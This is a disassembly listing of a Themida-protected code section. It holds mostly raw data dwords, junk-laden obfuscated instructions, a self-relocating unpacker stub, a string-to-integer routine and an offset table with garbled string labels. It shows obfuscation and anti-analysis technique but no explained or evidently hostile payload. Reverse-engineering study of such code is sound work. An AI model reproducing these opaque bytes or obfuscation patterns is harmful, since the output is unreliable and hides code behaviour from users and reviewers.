3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 379DC351h, 85090D82h, 6100BD9h, 6AD0FFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 939B3BC3h, 0D88BE9ACh, 4E038D8Bh, 6A0610h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 556841C3h dd 9761C03Bh, 0B26C2893h, 6A01FEFAh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 9461C351h dd 0AC11048Ch, 0EA803547h, 0CE8A3h, 0F020000h, 0CBC0A9Eh dd 0F8A5F602h, 3CBAF3D1h, 5A797EC4h, 4E03858Bh, 8B660610h dd 6A00FED0h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0BE7AC356h, 0EC2CA9FBh, 522D593Bh dd 15A1B531h, 16A0610h, 0A9E5DA81h, 0E95722EEh, 12h, 2C7A55Fh dd 8AA1622Fh, 0C9628704h, 65234E89h, 685B75FAh, 8EC22F09h dd 1A8E0Fh, 10E80000h, 4B000000h, 8831CDE0h, 0AA2F1A91h dd 3EB682D6h, 66BEEFC8h, 5B3E0CBBh, 0F6243481h, 6A713DB0h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 8D25C353h, 45F0858Dh, 89600613h, 1009BDBDh dd 45B58906h, 61061005h, 958BD0FFh, 61001E9h, 2D018D29h dd 0BD830610h, 6100AA1h, 0B6840F00h, 66000000h, 0BD83DE8Bh dd 6102209h, 0A6850F01h, 89000000h, 101A8585h, 0FA8D8D06h dd 8B061345h, 10165995h, 9036A06h, 100559BDh, 66016A06h dd 0D1FFD88Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 9EC35242h, 41309F6h, 8AFF5BAEh, 459531F1h, 81061008h dd 0D794BAF3h, 0F016A4Dh, 885h, 9D8B5200h, 6101331h, 6A016A5Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0DB7EC351h, 401B705Ch, 1A918D89h, 0D1FF0610h dd 0E8BFC380h, 0FA4B6D59h, 5810Fh, 81660000h, 89E211F3h dd 100FC9BDh, 6A206A06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 1C96C356h, 0E3A968D5h dd 8A5759B5h, 66FF6AD4h, 95FFDF8Bh, 61006B9h, 10E9h, 57A4CC00h dd 5B302DB7h, 135865E9h, 195FC125h, 0B8A0h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 2A61FDC3h, 0C0ECA379h, 0B70EA68h, 47840FC0h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 622BC357h, 8B46F645h, 19958BD0h, 8306102Dh dd 101D19BDh, 840F0006h, 12h, 2AD195FFh, 8A0F0610h, 6 dd 23C59D0Bh, 858B0610h, 61010C5h, 2E01BD89h, 57600610h dd 815EEEB4h, 775B45D9h, 0C6611Ah, 0D5DB8100h, 580E44CAh dd 9099D01h, 0BD890610h, 6102FC9h, 6AD98C66h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 0F406C356h, 82B07C96h, 0F697400h, 681h, 0A9BD3100h dd 0E8061009h, 5, 30190FB3h, 45952917h, 5A061008h, 0F04C1F6h dd 0B384h, 0DDB58900h, 8B06101Ah, 1013119Dh, 0A2E906h dd 830F0000h, 1, 899D23FCh, 8B061005h, 102955B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0F729B743h, 0C870Fh, 800F0000h, 6, 1B219D8Bh, 0C6810610h dd 1180h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0D3C35747h, 10296676h, 0E9B944CBh, 5, 0E8B4195Bh dd 0C7D88B21h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 1CD14BBAh, 8BEC9CFEh dd 53006A5Eh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 8BA663D2h, 1012B195h, 0F88306h, 0C1D840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 8B72F1C3h, 0D6BF0FDAh, 0F01F883h, 17D85h dd 0FFE28000h, 0B8h, 68D0F00h, 8B000000h, 1004CD95h, 0FC00B06h dd 10E84h, 1AF38100h, 0E90F4C5Eh, 10h, 0AEDDA1DFh, 7599D892h dd 5A7F51EEh, 0E3E1F264h, 0F01F883h, 10184h, 71952300h dd 83061007h, 840F03F8h dd 74h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h dd 37C35646h, 0DF80954Fh, 8BC02BA9h, 1007819Dh, 0E0BD8D06h dd 8B005B89h, 100BC99Dh, 6AE7FF06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E9EFC353h dd 0Ah, 0CAF06344h, 89898A24h, 880F440Eh, 0Ch, 6890Fh dd 9D890000h, 61010FDh, 1B8h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0BE94345h dd 50000000h, 96B2FBA9h, 4FD11C72h, 0BD8DB28Fh, 5B89E0h dd 0FFD78B66h, 50006AE7h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 47D2C6A4h, 7900DDCBh dd 8056C1F9h, 8D5BCCDBh, 10448FBDh, 1D958B06h, 0E9061013h dd 317h, 0CAC4C381h, 85C7281Fh, 6104E5Eh, 5, 5B8F5h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0C14FC3C3h, 2329958Bh, 0EFE90610h, 0F000009h, 0F883D2B7h dd 0FD850F02h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 2709C353h, 38542EB4h dd 8081213Dh, 0B833DBh, 8B000000h, 10208D9Dh, 0FC00B06h dd 8F84h, 82BA6600h, 1F8832Ch, 0FF74840Fh, 0F883FFFFh dd 0ED840F03h, 6AFFFFFEh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0F43AC351h, 15880F6Ah dd 0E9000000h, 10h, 0A0EC8334h, 0EB6062BCh, 0D19F1AE1h dd 27E08h, 6AC02Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 480EC5C3h, 0D98BCE0Ch, 89E0BD8Dh dd 958B005Bh, 61000C5h, 2960E7FFh, 100825BDh, 89B58906h dd 61061008h, 4687BD8Dh, 6A0610h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0ABE3F7C3h, 1DAE9h, 0F3816600h dd 9D8B36F3h, 6100CB1h, 0F03F883h, 4385h, 9D8B6000h, 6100719h dd 61D9B70Fh, 68C0Fh, 9D8B0000h, 6100A09h, 481BBD8Dh, 0FE80610h dd 0AF000000h, 0E7B81C8Bh, 23A31633h, 0C277AEA8h, 0F560834h dd 85h, 0E95A5A00h, 187h, 0CCB6BA66h, 0F05F883h, 3785h dd 3860F00h, 0F000000h, 83E9DABFh, 6A000008h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0B87EC351h, 0F0074E9h, 0EB81DBBFh, 0D4894E5h, 0F06F883h dd 5885h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0A2EA814Bh, 8D422B46h, 104A13BDh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 5F48674Eh, 0BD898386h, 61013B5h, 0E6E9h dd 0C6BB6600h, 7F88364h, 64850Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 201A48C3h dd 9EFF1E48h, 9D8B2A3Ah, 6101CA5h, 1BD8DF5h, 8906102Bh dd 102A158Dh, 120E906h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0BFB5F1C3h, 5A966AF7h dd 0BA663E45h, 0F8834D3Fh, 6C850F0Ah, 66000000h, 8DA80CBBh dd 104C0BBDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 87878F4Ah, 6E8093CFh, 38E95AC0h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 1DF9C352h, 0C122344Ch, 0DE9h dd 0EBD39000h, 0C963EB2Ah, 15D9E148h, 81663AC9h, 5768B6DBh dd 14019D33h, 72B90610h, 8B0E20B6h, 102DA59Dh, 3F8306h dd 65840Fh, 7E90000h, 64000000h, 0D72CBA0Ah, 0F3034DDh dd 0D1DFBF0Fh, 57006AC9h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0E870937Fh, 0ADF7784Dh dd 6A47A2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 61EDFCC3h, 0B4A57A7Ah, 0FFFF98E9h, 8D9D89FFh dd 5F061022h, 0BD89F08Ah, 6104E07h, 68A0Fh, 9D890000h dd 6101B35h, 14E98D8Dh, 6A0610h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 0BBC302C3h, 28B0F97h dd 0B3000000h, 0B5FFF5B7h, 61009ADh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0F3C35242h, 4D6F84B8h, 5E95B25h dd 5000000h, 0FD44FF24h, 0AB5E858Dh, 8D500612h, 1055B8BDh dd 0E78D8D06h, 0B8061070h, 54831ABCh, 730CF2Bh, 4947C8D0h dd 0B58DF875h, 6107058h, 70FF8D8Dh, 0CF2B0610h, 0C933A4F3h dd 0B8h, 74C00B00h, 19BD8346h, 6101Dh, 95FF0674h, 6102AD1h dd 4E07B58Bh, 858D0610h, 612AB5Eh, 858DD0FFh, 6104264h dd 85C7D0FFh, 6101C21h, 1, 30F5A58Bh, 0B58B0610h, 61030E9h dd 21C9AD8Bh, 0C0330610h, 57000CC2h, 0BE8h, 0F4F80200h dd 76F426D0h, 4A248AC1h, 26C28166h, 6A5B5A53h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 9ABCC351h, 319D8B9Bh, 83061001h, 10306DBDh, 840F0006h dd 18h, 12759531h, 95FF0610h, 6100AF5h, 23D99D89h, 95890610h dd 6101BA1h, 2969BD83h, 0F000610h, 1C085h, 0EE900h, 868B0000h dd 18D86B27h, 5798E8F5h, 5E7ACDCBh, 2209BD83h, 0F010610h dd 1A085h, 0B1B50100h, 8306100Ch, 102DA1BDh, 840F0006h dd 18Dh, 7D9D8960h, 0F06100Ah, 8361F3B7h, 104E5ABDh, 840F0006h dd 175h, 237D9589h, 858D0610h, 612AB5Eh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0DCC35747h, 0B3FFE985h dd 8F0FBF7Ch, 6, 2D01958Bh, 9EBA0610h, 8B1F90FEh, 104E07B5h dd 42E28106h, 8033FDFDh, 0D0FF00D7h, 4870Fh, 0BA660000h dd 85C621F3h, 61023E5h, 559D8B54h, 0E8061014h, 11h, 27BE0EE3h dd 8CBA6A13h, 0ACF80A72h, 93EA5DDCh, 0DF8B660Dh, 8BFC685Ah dd 3BB7EEE9h, 8243481h, 8B11A735h, 199D8BD0h, 0FF06100Ah dd 101499B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 0C690C5CAh, 64958B36h, 0FF80E67h dd 858DD0BFh, 6103A32h, 0C3BF0F60h, 2BE38166h, 0D0FF6153h dd 0EE9h, 0C5A2D300h, 5B07F1F8h, 0FE91A466h, 6AE386BFh dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0C005740Ch, 0BBFF6ACBh, 423BBFBDh, 6AD0FFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 512019C3h, 8D91A5D9h, 858B603Fh, 6100059h, 0B58961FCh dd 6101631h, 1911B5FFh, 6A0610h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0ED5C26C3h, 95FFD7C1h dd 61009ADh, 7B58BF9h, 6006104Eh, 0F1BD8960h, 6006100Ah dd 0BE96161h, 87000000h, 65F220A4h, 6F4F693h, 0C3619054h dd 0B58BB7B6h, 61010C5h, 0C959D8Bh, 0F60B0610h, 27840Fh dd 0BF90000h, 1008519Dh, 6C606h, 178D0Fh, 12E90000h, 6C000000h dd 2616538h dd 59FE23B9h, 0A6509D0Ah, 928DE23Ah, 0F858935h, 8906104Eh dd 100A75B5h, 0F88306h, 385840Fh, 5BBA0000h, 0B83D574Fh dd 0 dd 283A0ABAh, 0F88357h, 115840Fh, 0CCB60000h, 83D7B70Fh dd 850F02F8h, 0AFh, 13B0DA81h, 0F3815E03h, 5E7D17ADh, 448A858Dh dd 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 9D8B76C3h, 61027DDh, 9292Dh, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0BD5C56ADh, 6559830Fh, 9509C588h, 6102885h, 14E890h dd 1FC40000h, 0CE0FB28Ah, 63F27E78h, 6218CF86h, 0B25D74E4h dd 525084F8h, 310FD88Bh, 8D0Fh, 585A0000h, 8B60505Bh, 0E99061F7h dd 0Ah, 8E15ECE6h, 93CD5A4Eh, 0FC3E69Eh, 687h, 859D8B00h dd 0B806100Bh, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0D5C35343h dd 965C41E3h, 0D1B70F74h, 282E9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0B218FFC8h dd 15595365h, 0E9953149h, 0B8061021h, 1, 2D758D89h, 0BD8D0610h dd 610448Fh, 0E982C280h, 13Ah, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 88C35646h, 81256E1Fh, 58E149EAh dd 0CE91Bh, 0CDCB0000h, 99905E7Ah, 1292983Dh, 0F883A4E5h dd 6D850F02h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0A8A1C356h, 1812CACh dd 1020298Dh, 87BD8D06h, 0F061046h, 8Fh, 0C4E900h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 633E73C3h, 11E956F2h, 81000000h, 7D143A28h, 0C083A89Eh dd 0F8307459h, 0B2855732h, 0F03F883h, 7385h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0D928764Dh, 559D8BFEh, 6006102Eh, 10E9h, 5B85A00h, 446EBC4Ch dd 0A14F9B2h, 4262D6CAh, 0C1958BE3h, 61061010h, 481BBD8Dh dd 950B0610h, 6102FD1h, 31E9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 6F1498Dh, 0F05F883h dd 985h, 80E900h, 0BA660000h, 6A5736AEh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 9186C350h dd 0BD298568h, 61022FDh, 20B672B9h, 38D0F0Eh, 0F000000h dd 3F83DABFh, 3F840F00h, 0B7000000h, 890F30B2h, 1023D9BDh dd 6AC9D106h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 61D0C353h, 260D3987h, 47B2F38Ah dd 85950347h, 0E9061020h, 0FFFFFFBAh, 0F88308B3h, 80850F05h dd 80000000h, 8C66E1EFh, 0C1F6F5D9h, 49850F04h, 66000000h dd 0B8D68Bh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0E808C355h, 9, 8A748BC7h dd 130B4379h, 0DA8B660Eh, 35E95Ah, 860F0000h, 5, 59D6FEBBh dd 0D38B6635h, 15AD858Bh, 0FFFC0610h, 12E8E0h, 6500000h dd 3AF621B8h, 66ADD3D2h, 81D1F6D6h, 4325452Bh, 3331B529h dd 835A0610h, 1009ADBDh, 850F0006h, 102h, 2E65958Bh, 40BA0610h dd 9003919Ch, 56506CB2h, 8E8h, 85261300h, 0C55F5DDBh, 0CBC5BB53h dd 5B5A1B49h, 158C0F90h, 0F000000h, 0F89h, 9E800h, 41130000h dd 8DECFEECh, 5A520AECh, 23E585C6h, 0B2450610h, 4E851h dd 69690000h, 8B668E72h, 0C3B650DAh, 424448Bh, 9C78BA66h dd 0F60008Bh, 0D81h, 7E800h, 0C2390000h, 95075B56h, 9E85FB8h dd 8F000000h, 0A2E62321h, 0D5BD121Ah, 58DF8B66h, 24448961h dd 0E8525004h, 5, 0C4BC784h, 5ADD8A63h, 0DE8B310Fh, 0B258585Ah dd 99B5FF88h, 0BA061014h, 780870B4h, 3A32858Dh, 8B660610h dd 0FF37B6D7h, 50006AD0h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0CC474D31h, 8B852790h dd 100E2195h, 599D3106h, 89061002h, 1009AD85h, 9DF38106h dd 58252B9Ch, 5E9h, 2BF93300h, 0BD8320DDh, 6104E5Eh, 59840F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0D482C356h, 11B5FF0Eh, 51061019h dd 0EDD9D89h, 0FF5B0610h, 1009AD95h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0D3FF49E3h dd 0C2818768h, 511DCCFh, 0F00F883h, 0C385h, 0CB816600h dd 0BD838A23h, 6101359h, 44840F00h, 8B000000h, 471DBAD3h dd 0B5FF7BEEh, 6101359h, 8B665757h, 0B85B5ADFh, 1, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 1AC35040h, 0C4D614A5h dd 806DE194h, 88E944EBh, 0FF000002h, 101911B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 1D2A2DE1h, 15BD897Fh, 89061005h, 10163D9Dh, 7E806h dd 871D0000h, 0AAFD1665h, 957DBADCh, 0FF5A0607h, 101911B5h dd 0F19D0106h, 0FF061018h, 1009ADB5h, 1D858906h, 0E906101Dh dd 227h, 1EF19589h, 9D8B0610h, 6102FA1h, 50006A5Fh, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0F62C5CCh, 0D223ADFEh, 119D89C2h, 8306100Ch, 1012F5BDh dd 850F0006h, 105h, 23E585C6h, 604D0610h, 20D18589h, 0BD890610h dd 61030F9h, 4E861h, 76A80000h, 11E8A435h, 70000000h, 8BBC174Bh dd 5290F1CBh, 74C00873h, 0CD6E37A9h, 0BE9h, 7C53B200h dd 0F2F978DFh, 0CBEB3224h, 880F505Bh, 2, 448BDE8Ah, 56BB0424h dd 8B2C4EB2h, 840F5700h, 3, 5AD98B66h, 4244489h, 0BFBB6660h dd 61F38B6Dh, 9E85358h, 2D000000h, 0D511BFBFh, 6834E28Bh dd 5AEAC280h, 0E5B5FF5Bh, 81061020h, 0E7EE83CAh, 32858D54h dd 0E906103Ah, 14h, 8BC9A41Eh, 0D15D0D26h, 0A404B13Eh dd 33E2184Fh, 7B092EA3h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 3D02FDC3h, 62356433h dd 8589E99Fh, 61012F5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 7CC35040h, 39789F6Bh, 89C88228h, 101C7D8Dh dd 0B806h, 95010000h, 6101C55h, 4E07BD89h, 6A0610h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0F55B4CC3h, 12CE8949h, 9D8B59C9h, 6100E0Dh, 92DA8166h dd 0FC00B04h, 2D84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0ED958B74h, 0E906100Dh dd 6Fh, 29798509h, 0B5FF0610h, 61009ADh, 0F08A6050h, 7E9h dd 0FBAB5100h, 56255604h, 85895A61h, 6102F1Dh, 0AB5E858Dh dd 85890612h, 61029A9h, 50D18B90h, 11E8h, 99255B00h, 9D0B55F8h dd 8CAD1167h, 0BC494ECFh, 8C0F84F5h, 6, 8D0Fh, 905B0000h dd 0B810Fh, 0F600000h, 9D8BD7B7h, 61007E1h, 21952361h dd 5006100Bh, 0B8BD8D56h, 8D061055h, 107BE98Dh, 23BCB806h dd 0CF2B7483h, 0C8D00730h, 0F8754947h, 0BD83585Eh, 6101359h dd 8B067400h, 100B898Dh, 0B8C93306h, 0 dd 840FC00Bh, 0A8h, 1D19BD83h, 74000610h, 0D195FF06h, 0B806102Ah dd 0 dd 975C00Bh, 4E0FBD83h, 74010610h, 0FBD8309h, 206104Eh dd 0B58B0E75h, 6104E07h, 0AB5E858Dh, 0D0FF0612h, 306DBD83h dd 74000610h, 0F595FF06h, 8D06100Ah, 10426485h, 83D0FF06h dd 100855BDh, 2F750206h, 30F5A58Bh, 858B0610h, 6101359h dd 0C7240489h, 101C2185h, 106h, 0BB58B00h, 8B06104Eh, 1021C9ADh dd 1B806h, 0CC20000h, 0C700EB00h, 101C2185h, 106h, 0F5A58B00h dd 8B061030h, 1030E9B5h, 0C9AD8B06h, 33061021h, 0CC2C0h dd 306DBD83h, 74000610h, 0F5BD830Fh, 6100Ah, 95FF0674h dd 6100AF5h, 4E07B58Bh, 0FC30610h, 68Eh, 9D9D8B00h, 6A061008h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 28D2C357h, 0AEE87B55h, 11959D8Bh, 0BA0610h dd 31000000h, 1028858Dh, 0C5958906h db 1Bh, 10h, 6 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_553197 ; --------------------------------------------------------------------------- loc_553195: ; CODE XREF: Themida_:0055319Aj inc eax inc edi loc_553197: ; CODE XREF: Themida_:00553193j cmp byte ptr [edi], 0 jnz short loc_553195 xor ecx, ecx mov edi, [ebp+8] jmp short loc_5531C6 ; --------------------------------------------------------------------------- loc_5531A3: ; CODE XREF: Themida_:005531C8j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_5531BB ; --------------------------------------------------------------------------- loc_5531B8: ; CODE XREF: Themida_:005531BEj mul ebx dec esi loc_5531BB: ; CODE XREF: Themida_:005531B6j cmp esi, 0 ja short loc_5531B8 pop ebx add ecx, eax pop eax inc edi dec eax loc_5531C6: ; CODE XREF: Themida_:005531A1j or eax, eax jnz short loc_5531A3 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- dd 81666050h, 893B67F2h, 1022B99Dh, 0F5A6106h, 681h, 37E38100h dd 8A1035BEh, 0E9C18BF4h, 22305h, 0 dd 25B003Fh, 2 dup(5CC447h), 12FF6Ch, 5CAA9Fh, 25B0028h dd 202h, 2, 1, 3, 0FA44B46Bh, 5 dup(0) dd offset byte_557013 dd offset dword_55C644 dd offset byte_558FD1 dd offset dword_557604 dd offset byte_554A15 dd offset byte_559197 dd offset byte_55D7AB dd offset byte_55EB69 dd offset byte_554A0D dd offset byte_559509 dd offset aFnfvfps00 ; "ffVfPé00" dd offset word_55BC12 dd offset dword_559630 dd offset byte_55C49F dd offset word_55E122 dd offset byte_5550D7 dd offset byte_55C859 dd offset dword_55F6DC dd offset word_554746 dd offset byte_55D9C5 dd offset word_55CA76 dd offset word_55BD2E dd offset byte_559D5D dd offset byte_55947F dd offset byte_55591B dd offset dword_558F88 dd offset byte_554E2D dd offset byte_55D4BB dd offset byte_55CA7F dd offset word_55A916 dd offset byte_55FA25 dd offset word_5539DE dd offset byte_558BD1 dd offset byte_559CF9 dd offset aN1H ; "1ØhÙ<" dd offset byte_55F3D1 dd offset dword_558D4C dd offset byte_55D923 dd offset dword_55F75C dd offset byte_55E931 dd offset word_55F6BA dd offset byte_559065 dd offset byte_55DAA5 dd offset byte_55E39B dd offset dword_55DB0C dd offset byte_554443 dd offset byte_55F15D dd offset dword_554A78 dd offset dword_55A7D8 dd offset dword_556664 dd offset byte_55C2A7 dd offset byte_55F0C9 dd offset dword_558C8C dd offset word_55CFD2 dd offset dword_557124 dd offset dword_5557C8 dd offset word_55B57A dd offset byte_55DFE1 dd offset dword_5580E8 dd offset dword_55B918 dd offset byte_556BA9 dd offset byte_5582DC dd offset word_556922 dd offset word_55AAC6 dd offset dword_554978 dd offset byte_55609D dd offset byte_5541AF dd offset dword_558E18 dd offset word_55A4CA dd offset aFhuefiSN ; "fhžEf‰$$é)n" dd offset dword_557070 dd offset byte_5564C5 dd offset byte_55E13B dd offset byte_55889D dd offset word_55833A dd offset byte_55D143 dd offset dword_55C3F4 dd offset word_55783A dd offset dword_559EF8 dd offset word_55A77A dd offset byte_55E355 dd offset aNh7 ; "h/7" dd offset byte_554A41 dd offset byte_55A431 dd offset byte_559487 dd offset dword_554780 dd offset byte_55F84F dd offset byte_55E089 dd offset byte_55D01B dd offset dword_5569C4 dd offset word_55518A dd offset dword_55D4A4 dd offset byte_55A6F3 dd offset byte_559F39 dd offset word_5594D6 dd offset byte_55E8CF dd offset byte_558989 dd offset word_556F0E dd offset word_55AADA dd offset word_55A2AA dd offset byte_55CD71 dd offset byte_55A007 dd offset byte_55C8C5 dd offset byte_555BF3 dd offset byte_55D6FD dd offset aWicpshd ; "W‰çPéh„" dd offset aMsgu ; "¬ég“" dd offset dword_558B68 dd offset dword_55BA58 dd offset byte_559999 dd offset word_55380A dd offset dword_558EDC dd offset aM0HI ; "¬0ØhœI" dd offset dword_55CA94 dd offset dword_55DEE0 dd offset byte_55FC17 dd offset byte_557B69 dd offset byte_55DA49 dd offset dword_55EDF0 dd offset dword_55AA64 dd offset byte_55472B dd offset byte_55D26F dd offset dword_55ED00 dd offset dword_55EE68 dd offset dword_559C84 dd offset dword_555C50 dd offset byte_55AAA7 dd offset word_55BD5A dd offset word_555CF6 dd offset byte_558BB5 dd offset dword_5559F0 dd offset dword_55A010 dd offset off_55AFC3 dd offset byte_556007 dd offset byte_5589C1 dd offset word_559AA2 dd offset byte_556F2F dd offset dword_556B78 dd offset word_55B952 dd offset byte_555D07 dd offset byte_554517 dd offset dword_558684 dd offset byte_55D8CF dd offset byte_557FAF dd offset byte_55DBFB dd offset dword_553E48 dd offset dword_55BBAC dd offset byte_55C0F1 dd offset word_55BAEA dd offset word_5599BE dd offset word_5561B6 dd offset byte_55E48F dd offset word_5576EE dd offset word_55369E dd offset byte_55C461 dd offset byte_553EB3 dd offset byte_55E26B dd offset byte_55A127 dd offset dword_55F090 dd offset dword_5578E4 dd offset dword_554790 dd offset byte_553B41 dd offset byte_554A2D dd offset dword_55E3E0 dd offset byte_55B693 dd offset aUspQiIYs ; "USP[Q‰Ù‰ÍYé`\x1B" dd offset dword_559BD8 ; --------------------------------------------------------------------------- loc_5534D8: ; CODE XREF: Themida_:00575E8Dj ; Themida_:005809E3j ... pusha pushf cld call $+5 pop edi sub edi, 6108075h mov eax, edi add edi, 6107D8Dh cmp eax, [edi+2Ch] jnz short loc_5534F6 jmp short loc_553509 ; --------------------------------------------------------------------------- loc_5534F6: ; CODE XREF: Themida_:005534F2j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_553505 ; --------------------------------------------------------------------------- loc_553500: ; CODE XREF: Themida_:00553507j add [edi+ecx*4+40h], eax dec ecx loc_553505: ; CODE XREF: Themida_:005534FEj or ecx, ecx jnz short loc_553500 loc_553509: ; CODE XREF: Themida_:005534F4j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_553516: ; CODE XREF: Themida_:0055351Dj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_553516 loc_55351F: ; CODE XREF: Themida_:005557ABj ; Themida_:00555D02j ... lodsb push 36EDh mov [esp], ecx jmp loc_5590B7 ; --------------------------------------------------------------------------- aZsY db 'ZéÏY',0 dw 8300h dd 148704C2h, 0E4E95C24h db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55353F: ; CODE XREF: Themida_:0055DFDCj mov ecx, [esp] add esp, 4 add al, bl jmp loc_55C983 ; --------------------------------------------------------------------------- db 5Eh dd 3494E681h, 81467968h, 731DDCF6h, 5EF18923h, 8103E9C1h dd 5131AFE1h, 81E1D11Fh, 824252E9h, 59CB011Eh, 0E9241C87h dd 7394h ; --------------------------------------------------------------------------- loc_55357C: ; CODE XREF: Themida_:0055ED36j mov edi, [esp] add esp, 4 push ebp push 2418h mov [esp], eax mov eax, 13B258DAh sub eax, 0FFFFFFFFh or eax, 2B1D0181h push ecx mov ecx, 732245DDh xor ecx, 18580BB9h inc ecx push edi mov edi, 68643EC5h shl edi, 7 push ecx mov ecx, 30DD7E5Eh dec ecx add ecx, 87D6D87h jmp loc_55C675 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 7796E9h, 4016600h, 48E99C24h, 0B8FFFFFFh, 4CFD1965h dd 0D059C125h, 4E683522h, 12E92E9Ch db 0B0h, 2 dup(0) ; --------------------------------------------------------------------------- 